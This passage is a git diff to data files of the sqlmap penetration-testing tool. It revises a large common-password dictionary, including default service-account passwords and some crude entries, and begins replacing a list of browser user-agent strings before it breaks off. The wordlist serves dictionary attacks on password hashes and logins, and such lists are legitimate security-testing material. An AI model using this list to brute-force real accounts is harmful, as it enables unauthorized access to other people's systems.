-spiral spirit +spiritual spit spitfire splash -spliff -splinter spock spoiled -sponge spongebo +spongebob +spongebob1 spooge spooky spoon -spoons -sport sporting sports -sporty -spot -spotty -spread +spotlight spring -springer springs -sprint -sprinter +sprinkle sprite -sprocket -sprout spud spunky spurs -spurs1 -sputnik spyder sql sqlexec -squall square squash -squeak -squeeze -squires +squeaker squirrel squirt srinivas -ssp +sriram sss ssss -sssss ssssss sssssss ssssssss +ssssssssss stacey staci -stacie stacy -stafford -stalin +stainless +stairway +stalingrad stalker -stallion +stamford +stampede stan standard -stanford -stang stanley +stanley1 staples star star69 starbuck -starcraf +starbucks +starchild starcraft stardust -starfire starfish stargate -starligh +stargazer +starless starlight -starman +starling starr stars +starshine starship -starstar start start1 starter +startfinding +starting startrek starwars +starwars1 state -static -station -status +Status stayout stealth -steel +steaua steele -steeler steelers +steelers1 +steelman stefan +stefania stefanie -stefano -steffen -steffi +stefanos +stelios stella stellar steph steph1 -stephan -stephane stephani stephanie +stephanie1 stephen -stephen1 +stephens stephi stereo sterling +sternchen steve -steve1 steven steven1 stevens -stevie stewart stick stickman -sticks sticky -stiffy +stiletto stimpy -sting sting1 -stinger stingray stinker stinky -stivers +stitches stock -stocking -stocks +stockman stockton +stoffer stolen stone -stone1 -stonecol stonecold -stoned +stonehenge +stoneman stoner stones -stoney -stop -storage -store stories storm -storm1 -stormy straight strange stranger -strangle -strap strat -strat_passwd -stratford -strato +strategy stratus strawber strawberry stream +streamer streaming street streets -strength -stress -stretch strider strike -striker +strikers string -strip stripper -stroke stroker -strong +stronger +stronghold +struggle +strummer +struzhka stryker stuart stubby -stud student +student1 student2 -studio -studly +students +studioworks studman -stuff -stumpy stunner +stuntman stupid stupid1 -stuttgart +sturgeon style styles -stylus -suan -subaru sublime +submarine submit -suburban -subway +subwoofer subzero success -success1 -suck -suckdick +successful +succubus +sucesso sucked sucker suckers sucking suckit suckme +suckmydick sucks sudoku sue -sugar -sugar1 +sugarplum +suicidal suicide +suitcase +sukses sullivan -sultan summer +summer00 +summer01 +summer05 summer1 -summer69 -summer99 +summer12 summers summit -sumuinen -sun +summoner sunbird sundance sunday @@ -8296,206 +9013,239 @@ sundevil sunfire sunflowe sunflower -sunlight -sunny -sunny1 +sunflowers +sunita +suniukas +sunna +sunny123 +sunnyboy sunnyday sunrise sunset sunshine +sunshine1 +suomi super -super1 -superb -superfly +super123 +superbowl +superboy +supercool +superdog +superduper +supergirl +superhero superior superman superman1 -supernov +supermand +supermen +supernova +superpass +superpower supersecret -supersta +supersonic superstage superstar superuser supervisor support -supported supra -supreme +surabaya +surecom surf +surfboard surfer surfing +surprise +surrender +surround +survival survivor -susan -susan1 susana -susanna -susanne sushi susie -sutton +suslik suzanne -suzie suzuki suzy +sveinn +sverige svetlana -swallow swanson -swearer sweden -swedish sweet sweet1 +sweet123 +sweet16 +sweetest sweetheart sweetie +sweetiepie sweetnes sweetness sweetpea sweets +sweetwater sweety swim -swimmer swimming -swinger swingers swinging -switch switzer swoosh sword swordfis swordfish -swords -swpro -swuser -sybil sydney -sylveste +sylvania sylvester sylvia -sylvie +sylwia symbol symmetry sympa +symphony +syndrome synergy syracuse sys -sys_stnt sysadm -sysadmin -sysman syspass system system5 -systempass -systems syzygy -t-bone -tab -tabasco +szabolcs +szerelem +szeretlek +sziszi tabatha -tabitha taco tacobell tacoma +tactical taffy -tahiti -taiwan -talbot -talisman +tagged +tajmahal +takahiro +takanori +takataka +takayuki +takedown +takoyaki +talented talks +tallinn +tallulah talon tamara tami -tamie -tammy tamtam -tang -tangerine -tango -tank +tania tanker tanner tantra -tanya tanya1 -tapani -tape +tanzania +tapestry +tappancs +tappara tara +tarantino +taratara tardis targas target +target123 tarheel -tarheels tarpon tarragon tartar tarzan -tasha tasha1 -tata +tassen tatiana tattoo taurus taxman taylor taylor1 +taytay tazdevil tazman tazmania tbird -tbone -tdos_icsap +t-bone teacher +teacher1 +teaching team +teamo +teamomucho +teamwork +teardrop tech +technical technics techno +techsupport tectec teddy -teddy1 teddybea teddybear -teen teenage +teenager teens teflon +teiubesc +tekiero tekila tekken +Telechargement telecom telefon +telefonas telefono -telephon +telefoon +telemark telephone +televizija +telos +telus00 temp temp! temp123 tempest templar -temple +template temporal temporary temppass temptation temptemp -tenchi tender tenerife teng tennesse +tennessee tennis +tennyson tequiero +tequieromucho tequila -terefon +tere123 teresa +teretere terminal terminat terminator -terra +terminus terrapin terrell +terriers +terrific terror -terry -terry1 +terrorist +terserah test test! test1 @@ -8504,251 +9254,254 @@ test123 test1234 test2 test3 -test_user +testament +teste123 tester testi +testicle testing -testing1 testpass testpilot testtest +test_user tetsuo texas -texas1 +thaddeus +thai123 thailand -thanatos -thanks thankyou the -theater -theatre +thebeach thebear +thebeast thebest -theboss +thebest1 thecat thecrow thecure -thedog thedon thedoors thedude -theend theforce thegame -thegreat their thejudge thekid theking thelma -thelorax theman +thematrix +themis +theodora theodore -theone there theresa therock -therock1 these thesims thethe -thewho -thierry +thething +thetruth +thiago thing -thinsamplepw +thinking +thinkpad thirteen this thisisit thomas +thomas01 thomas1 +thomas123 thompson thong thongs -thor -thorne -thrasher -three -threesom +thornton +thousand +threesome +thriller throat thuglife -thumb thumbs thumper thunder thunder1 -thunderb -thunderbird +thunderbolt +thunders thursday +thurston thx1138 tian -tiao tibco -tiberius tiburon ticket tickle +ticktock tierno +tietokone tiffany tiffany1 tiger tiger1 tiger123 -tiger2 -tigercat +tigereye +tigerman tigers -tigers1 +tigerwoods tigger tigger1 -tigger2 +tigger12 tight tightend tights tigre +tigris +tiiger tika -tim -timber +tikitiki +timberlake time +timelord +timely timeout -timmy timosha timosha123 timothy timtim -tina -ting tinker tinkerbe tinkerbell +tinkle tinman tintin -tiny -tip37 -tipper -titan +Tiny +tiramisu +tissemand titanic titanium -titans titimaman -titleist +titkos titouf59 tits titten -titts titty tivoli +tmnet123 tnt -toast -toaster tobias toby today -todd toejam -toffee together toggle toilet +tokiohotel tokyo -toledo -tolkien -tom -tomahawk -tomas +tomas123 +tomasko tomato +tombstone tomcat -tommie +tomek1 +tomika +tomislav1 +tommaso tommy -tommy1 -tommyboy -tomorrow +tommy123 +tomohiro +tomotomo tomtom +tomukas tong -tongue tonight tony -toocool -tool +tonytony toolbox -toolman +toomas toon -toonarmy -tootie +toor +toothpaste +toothpick tootsie topcat topdog topgun tophat -topher -topography -topper +topnotch +topolino +topsecret +torcida +toreador toriamos torino +tormentor tornado +tornado1 toronto +toronto1 torpedo +torrance +torrents torres +tortilla tortoise toshiba -tosser total -toto +toti toto1 tototo -tottenha tottenham toucan +touchdown touching tower -towers town +townsend toxic +toxicity toyota trace tracer -tracey traci -tracie track tracker tractor tracy trader traffic -trailer trails train trainer -training -trains +trampoline trance -tranny -trans -transam +tranquil transfer +transform +transformer +transformers transit -transport -trapper trash +trashcan +trashman trauma travel traveler +traveller travis tre -treasure treble -trebor tree treefrog trees treetop -trek +treetree +trespass trevor trial -triangle -tribal +triathlon +tribunal tricia -tricky -trident +trickster trigger trinidad trinitro @@ -8756,11 +9509,14 @@ trinity trip triple tripleh +triplets tripod tripper +tripping trish trisha tristan +tristan1 triton triumph trivial @@ -8770,59 +9526,57 @@ trojans troll trombone trooper +troopers trophy -tropical trouble -trouble1 trout troy truck -trucker -trucking -trucks truelove -truman +truffles +trujillo trumpet trunks -trust +trunte trustme trustno1 +trustnoone truth -tsdev +tryagain tsunami -tsuser tttttt -tttttttt -tty tuan -tubas tucker tucson +tudelft tuesday tula -tulips tuna tunafish tundra +tunnussana +tuomas tupac +tuppence turbine turbo -turbo1 turbo2 turkey turner turnip +turquoise turtle -tuscl +tutor tuttle tweety tweety1 +tweetybird twelve twenty -twiggy twilight twinkie twinkle +twinkles twins twisted twister @@ -8831,48 +9585,59 @@ tybnoq tycoon tyler tyler1 +typewriter typhoon tyrone tyson tyson1 +U38fa39 +uboot ultima ultimate ultra -um_admin -um_client +ultrasound umbrella umesh umpire +unbreakable undead underdog -undertak +understand undertaker +undertow +underwater underworld +unforgiven unhappy unicorn unicornio +unicorns unique united unity -universa universal universe universidad university unix unknown +unleashed +unlocked unreal +untitled +untouchable +uploader upsilon uptown upyours -uranus +uQA9Ebw445 urchin ursula usa123 -usarmy user user0 user1 +user1234 user2 user3 user4 @@ -8880,217 +9645,219 @@ user5 user6 user7 user8 -user9 +user888 username usmarine usmc -usnavy -util +Usuckballz1 utility -utlestat utopia -uucp -uuuuuu +uuuuuuuu vacation -vader -vader1 +vaffanculo vagabond vagina val +valami +valdemar valencia valentin valentina valentinchoque valentine valeria +valerian valerie valeverga valhalla -valkyrie -valley +validate +valtteri vampire +vampire1 vampires -vancouve +vanderbilt +vanesa vanessa vanessa1 -vanguard vanhalen vanilla +vanquish +variable vasant -vauxhall -vea +vasara +vaseline vector -vectra vedder +vedran vegas vegeta -vegitto -veh +vegetable velo velocity -velvet -venice +vengeance +venkat venom ventura -venture venus +vera55 veracruz verbatim +vergessen veritas verizon -vermont -vernon +vermilion verona veronica veronika -versace -vertex_login -vertigo +veronique +vertical +verygood vette vfhbyf vfrcbv vh5150 viagra -vicki vickie -vicky victor -victor1 victoria +victoria1 victory video -videouser -vienna vietnam viewsoni -vif_dev_pwd +vijaya viking vikings vikings1 -vikram -villa -village +viktor +viktoria +viktorija vincent -vincent1 +vineyard +vinicius +vinkovci vinnie -vintage +violator +violence violet +violetta +violette violin viper -viper1 vipergts vipers -virago -virgil +virgilio virgin virginia -virginie virtual virus -viruser +VIRUSER visa +viscount +vishal vision +vision2 visitor +visitors +visor visual +vittoria +vittorio vivian +viviana +vivien +vivienne +vkontakte vladimir -vodka +VOizGwrC volcano volcom +volimte volkswag volley volleyba +volleyball +voltaire volume +volunteer volvo voodoo -vortex voyager -voyager1 voyeur -vrr1 -vrr2 +VQsaBLPzLa vsegda vulcan vvvv -vvvvvv +vvvvvvvv waffle -wagner waiting +wakefield walden -waldo walker wallace -wallet -walleye -wally -walmart -walnut +wall.e walrus walter -walton -wanderer +wanderlust wang +wangyut2 wanker -wanking wanted warcraft wareagle +warehouse warez wargames warhamme +warhammer warlock -warlord -warner warning +warranty warren warrior warrior1 warriors -warthog +warszawa wasabi -washburn -washingt washington wasser wassup wasted +watanabe watch -watcher +watchdog +watching +watchman +watchmen water -water1 -waterboy -waterloo +water123 +waterfall +waterman +watermelon +waterpolo waters -watford watson wayne -wayne1 -wealth -wearing weasel weather weaver web -webber webcal01 -webdb +weblogic webmaste webmaster -webread webster wedding wedge -weed +wednesday weed420 -weekend weenie weezer -weiner -weird welcome welcome1 welcome123 welder +wellington wendi wendy wendy1 @@ -9098,143 +9865,129 @@ weng werder werdna werewolf -werner wert +wertwert +wertz123 wesley -west +westcoast western -westham +westgate +westlife weston westside -westwood +westwind wetpussy -wetter -wfadmin -wg8e3wjf +wg wh whale1 what whatever +whatever1 whatnot whatsup whatthe whatwhat -wheels whiplash -whiskers whiskey whisky whisper -whistler whit white -white1 whiteboy +whiteman whiteout -whitesox -whitey whiting whitney +whittier whocares +whoknows wholesale -whore -whoville whynot -wibble +wichmann wicked -widget +wickedwitch +widzew wiesenhof wifey -wilbur +wiktoria wild wildbill -wildcard wildcat wildcats -wilder wildfire +wildflower +wildlife wildman wildone -wildwood +wildrose will william william1 williams -williamsburg willie willis willow -willy -wilma +Willow wilson -win95 wind -windmill window windows -windsor +windows1 +windowsxp windsurf +windward winger -wingman wingnut wings winner winner1 -winners winnie -winniethepooh +Winnie +winnipeg winona winston -winston1 winter -winter1 -wip -wireless +winthrop wisconsin wisdom wiseguy wishbone -wives +witchcraft wizard wizard1 wizards -wk_test -wkadmin -wkproxy -wksys -wkuser -wms -wmsys -wob +woaini +woaini1314 +wojtek wolf wolf1 -wolf359 wolfen wolfgang +wolfhound wolfie -wolfman wolfpac wolfpack wolverin wolverine +wolverines wolves woman wombat -wombat1 women wonder -wonderboy +wonderful wood +woodbury +woodchuck woodie woodland +woodlawn +woodruff +woodside woodstoc woodwind woody -woody1 woofer -woofwoof -woohoo -wookie woowoo word wordpass @@ -9244,11 +9997,11 @@ work123 working workout world -wormwood +wormhole worship worthy +wow12345 wowwow -wps wraith wrangler wrench @@ -9256,50 +10009,30 @@ wrestle wrestler wrestlin wrestling -wright wrinkle1 writer writing wsh -wsm -wutang www -wwwuser wwww wwwwww wwwwwww wwwwwwww -wxcvbn -wyoming -x-files -x-men -xademo xanadu -xander xanth xavier +xbox360 +xceladmin xcountry -xdp -xerxes -xfer -xfiles -xian +x-files xiang xiao ximena ximenita xing xiong -xla -xmodem -xnc -xni -xnm -xnp -xns -xprt +XRGfmSx xtr -xtreme xuan xxx xxx123 @@ -9308,132 +10041,140 @@ xxxxx xxxxxx xxxxxxx xxxxxxxx +xxxxxxxxxx xyz -xyz123 xyzzy y -yaco +YAgjecc826 +yahoo +yahoo123 yamaha yamahar1 -yamato +yamamoto yang yankee yankees yankees1 yankees2 +yardbird yasmin +yasuhiro yaya yeah -yeahbaby yellow -yellowstone +yellow1 +yellow12 yes yeshua yessir +yesterday yesyes yfnfif ying -yoda -yogibear +yingyang yolanda yomama yong +yorktown yosemite yoteamo +youbye123 young young1 -your_pass yourmom -yousuck +yourmom1 +yourname +yourself yoyo yoyoma yoyoyo ysrmma +YtQ9bkR ytrewq yuan +yuantuo2012 +yukiyuki yukon yummy -yumyum -yvette yvonne +yxcvbnm yyyy -yyyyyy yyyyyyyy yzerman +z123456 +z1x2c3v4 +za123456 +zacefron zachary zachary1 -zack +zadzad +zag12wsx +zagreb +zalgiris zander zang zanzibar -zap -zapata zapato zaphod -zappa -zapper -zaq123 zaq12wsx -zaq1xsw2 -zaqwsx +zaq1zaq1 zaqxsw +zaragoza zebra zebras zeng zenith -zephyr zeppelin zepplin -zero zerocool +zerozero zeus -zhai zhang zhao -zhei zheng zhong zhongguo zhou -zhuai zhuang -zhui -zhun zhuo zidane ziggy -zigzag zildjian -zimmerman +zimbabwe +zing +ziomek zipper zippo -zippy zirtaeb +zk.: zmodem -zodiac +zolika zoltan zombie zong zoomer -zorro -zouzou -zuan +zoosk +zuikis +zuzana +ZVjmHgC355 zwerg zxc zxc123 +zxcasdqwe zxccxz zxcv +zxcv1234 zxcvb zxcvbn zxcvbnm +Zxcvbnm zxcvbnm1 +zxcvbnm123 zxcxz zxczxc zxzxzx -zzz zzzxxx -zzzz zzzzz zzzzzz -zzzzzzz zzzzzzzz +zzzzzzzzzz diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index 02f52001940..31bca9529d3 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4274 +1,190 @@ -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission -# Opera - -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.01 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 7.60 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; IT) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.51 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; ru) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 -Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51 -Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51 -Mozilla/5.0 (Windows 98; U; en) Opera 8.54 -Mozilla/5.0 (Windows ME; U; en) Opera 8.51 -Mozilla/5.0 (Windows NT 5.0; U; de) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0 -Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.52 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.0 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.51 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.52 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.53 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11 -Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; fr) Opera 8.51 -Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54 -Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; ru) Opera 8.51 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14 -Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 -Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 -Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Windows NT 6.1; U; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 -Mozilla/5.0 (X11; Linux i686; U; en) Opera 8.52 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 -Opera/8.00 (Windows NT 5.1; U; en) -Opera/8.01 (Macintosh; PPC Mac OS X; U; en) -Opera/8.01 (Macintosh; U; PPC Mac OS; en) -Opera/8.01 (Windows NT 5.0; U; de) -Opera/8.01 (Windows NT 5.1; U; de) -Opera/8.01 (Windows NT 5.1; U; en) -Opera/8.01 (Windows NT 5.1; U; fr) -Opera/8.01 (Windows NT 5.1; U; pl) -Opera/8.02 (Windows NT 5.1; U; de) -Opera/8.02 (Windows NT 5.1; U; en) -Opera/8.02 (Windows NT 5.1; U; ru) -Opera/8.0 (Windows NT 5.1; U; en) -Opera/8.0 (X11; Linux i686; U; cs) -Opera/8.10 (Windows NT 5.1; U; en) -Opera/8.50 (Windows 98; U; en) -Opera/8.50 (Windows 98; U; ru) -Opera/8.50 (Windows ME; U; en) -Opera/8.50 (Windows NT 4.0; U; zh-cn) -Opera/8.50 (Windows NT 5.0; U; de) -Opera/8.50 (Windows NT 5.0; U; en) -Opera/8.50 (Windows NT 5.0; U; fr) -Opera/8.50 (Windows NT 5.1; U; de) -Opera/8.50 (Windows NT 5.1; U; en) -Opera/8.50 (Windows NT 5.1; U; es-ES) -Opera/8.50 (Windows NT 5.1; U; fr) -Opera/8.50 (Windows NT 5.1; U; pl) -Opera/8.50 (Windows NT 5.1; U; ru) -Opera/8.51 (FreeBSD 5.1; U; en) -Opera/8.51 (Macintosh; PPC Mac OS X; U; de) -Opera/8.51 (Windows 98; U; en) -Opera/8.51 (Windows NT 5.0; U; en) -Opera/8.51 (Windows NT 5.1; U; de) -Opera/8.51 (Windows NT 5.1; U; en) -Opera/8.51 (Windows NT 5.1; U; fr) -Opera/8.51 (Windows NT 5.1; U; nb) -Opera/8.51 (Windows NT 5.1; U; pl) -Opera/8.51 (X11; Linux i686; U; en) -Opera/8.51 (X11; Linux x86_64; U; en) -Opera/8.51 (X11; U; Linux i686; en-US; rv:1.8) -Opera/8.52 (Windows ME; U; en) -Opera/8.52 (Windows NT 5.0; U; en) -Opera/8.52 (Windows NT 5.1; U; en) -Opera/8.52 (Windows NT 5.1; U; ru) -Opera/8.52 (X11; Linux i686; U; en) -Opera/8.52 (X11; Linux x86_64; U; en) -Opera/8.53 (Windows 98; U; en) -Opera/8.53 (Windows NT 5.0; U; en) -Opera/8.53 (Windows NT 5.1; U; de) -Opera/8.53 (Windows NT 5.1; U; en) -Opera/8.53 (Windows NT 5.1; U; pt) -Opera/8.53 (Windows NT 5.2; U; en) -Opera/8.54 (Windows 98; U; en) -Opera/8.54 (Windows NT 4.0; U; zh-cn) -Opera/8.54 (Windows NT 5.0; U; de) -Opera/8.54 (Windows NT 5.0; U; en) -Opera/8.54 (Windows NT 5.1; U; en) -Opera/8.54 (Windows 